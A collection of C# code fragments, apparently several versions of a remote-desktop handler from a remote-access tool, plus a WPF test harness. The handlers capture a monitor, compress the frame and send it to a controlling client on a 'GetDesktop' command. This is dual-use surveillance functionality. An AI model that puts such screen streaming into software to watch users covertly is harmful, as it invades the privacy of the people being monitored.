StreamCodec.Dispose(); StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution); } BitmapData desktopData = null; Bitmap desktop = null; try { desktop = ScreenHelper.CaptureScreen(command.Monitor); desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), ImageLockMode.ReadWrite, desktop.PixelFormat); using (MemoryStream stream = new MemoryStream()) { if (StreamCodec == null) throw new Exception("StreamCodec can not be null."); StreamCodec.CodeImage(desktopData.Scan0, new Rectangle(0, 0, desktop.Width, desktop.Height), new Size(desktop.Width, desktop.Height), desktop.PixelFormat, stream); new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor, StreamCodec.Resolution).Execute(client); } } catch (Exception) { if (StreamCodec != null) new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor, StreamCodec.Resolution).Execute(client); StreamCodec = null; } finally { if (desktop != null) { if (desktopData != null) { desktop.UnlockBits(desktopData); } desktop.Dispose(); } } } }).Start(); }
private void Execute(ISender client, GetDesktop message) { // TODO: Switch to streaming mode without request-response once switched from windows forms // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis var monitorBounds = ScreenHelper.GetBounds((message.DisplayIndex)); var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; if (_streamCodec == null) { _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); } if (message.CreateNew || _streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) { _streamCodec?.Dispose(); _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); } BitmapData desktopData = null; Bitmap desktop = null; try { desktop = ScreenHelper.CaptureScreen(message.DisplayIndex); desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), ImageLockMode.ReadWrite, desktop.PixelFormat); using (MemoryStream stream = new MemoryStream()) { if (_streamCodec == null) { throw new Exception("StreamCodec can not be null."); } _streamCodec.CodeImage(desktopData.Scan0, new Rectangle(0, 0, desktop.Width, desktop.Height), new Size(desktop.Width, desktop.Height), desktop.PixelFormat, stream); client.Send(new GetDesktopResponse { Image = stream.ToArray(), Quality = _streamCodec.ImageQuality, Monitor = _streamCodec.Monitor, Resolution = _streamCodec.Resolution }); } } catch (Exception) { if (_streamCodec != null) { client.Send(new GetDesktopResponse { Image = null, Quality = _streamCodec.ImageQuality, Monitor = _streamCodec.Monitor, Resolution = _streamCodec.Resolution }); } _streamCodec = null; } finally { if (desktop != null) { if (desktopData != null) { try { desktop.UnlockBits(desktopData); } catch { } } desktop.Dispose(); } } }
public static void HandleGetDesktop(GetDesktop command, Client client) { // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis var monitorBounds = ScreenHelper.GetBounds((command.DisplayIndex)); var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; if (StreamCodec == null) { StreamCodec = new UnsafeStreamCodec(command.Quality, command.DisplayIndex, resolution); } if (command.CreateNew || StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.DisplayIndex || StreamCodec.Resolution != resolution) { if (StreamCodec != null) { StreamCodec.Dispose(); } StreamCodec = new UnsafeStreamCodec(command.Quality, command.DisplayIndex, resolution); } BitmapData desktopData = null; Bitmap desktop = null; try { desktop = ScreenHelper.CaptureScreen(command.DisplayIndex); desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), ImageLockMode.ReadWrite, desktop.PixelFormat); using (MemoryStream stream = new MemoryStream()) { if (StreamCodec == null) { throw new Exception("StreamCodec can not be null."); } StreamCodec.CodeImage(desktopData.Scan0, new Rectangle(0, 0, desktop.Width, desktop.Height), new Size(desktop.Width, desktop.Height), desktop.PixelFormat, stream); client.Send(new GetDesktopResponse { Image = stream.ToArray(), Quality = StreamCodec.ImageQuality, Monitor = StreamCodec.Monitor, Resolution = StreamCodec.Resolution }); } } catch (Exception) { if (StreamCodec != null) { client.Send(new GetDesktopResponse { Image = null, Quality = StreamCodec.ImageQuality, Monitor = StreamCodec.Monitor, Resolution = StreamCodec.Resolution }); } StreamCodec = null; } finally { if (desktop != null) { if (desktopData != null) { try { desktop.UnlockBits(desktopData); } catch { } } desktop.Dispose(); } } }
private void button_Click(object sender, RoutedEventArgs e) { _dispatcherTimer = new DispatcherTimer { Interval = TimeSpan.FromSeconds(1) }; _dispatcherTimer.Tick += DispatcherTimerOnTick; _dispatcherTimer.Start(); new Thread(() => { using (var streamCodec = new UnsafeStreamCodec(new JpgCompression(70), UnsafeStreamCodecParameters.None)) using (var decoderCodec = new UnsafeStreamCodec(new JpgCompression(70), UnsafeStreamCodecParameters.None)) using (var cursorCodec = new CursorStreamCodec()) using (var decodeCursorCodec = new CursorStreamCodec()) using (var screenService = new FrontBufferService()) { streamCodec.ImageQuality = 70; screenService.Initialize(0); WriteableBitmap currentWriteableBitmap = null; while (!_isClosed) { var sw = Stopwatch.StartNew(); var data = screenService.CaptureScreen(streamCodec, cursorCodec, true); if (data == null) { continue; } //Debug.Print($"Screen captured ({sw.ElapsedMilliseconds})"); unsafe { byte[] bytes; using (var ms = new MemoryStream()) { data.WriteIntoStream(ms); bytes = ms.ToArray(); } var cursorData = cursorCodec.CodeCursor(); fixed(byte *bytePtr = bytes) { sw.Reset(); //Debug.Print("Decode " + bytes.Length); var newBitmap = decoderCodec.AppendModifier(decodeCursorCodec.CreateModifierTask(cursorData, 0, cursorData.Length)).DecodeData(bytePtr, (uint)bytes.Length, Dispatcher); //Debug.Print($"Screen decoded ({sw.ElapsedMilliseconds})"); if (newBitmap != currentWriteableBitmap) { currentWriteableBitmap = newBitmap; Dispatcher.Invoke(() => ImageAsd.Source = currentWriteableBitmap); } Interlocked.Increment(ref _currentFps); } } } } }).Start(); }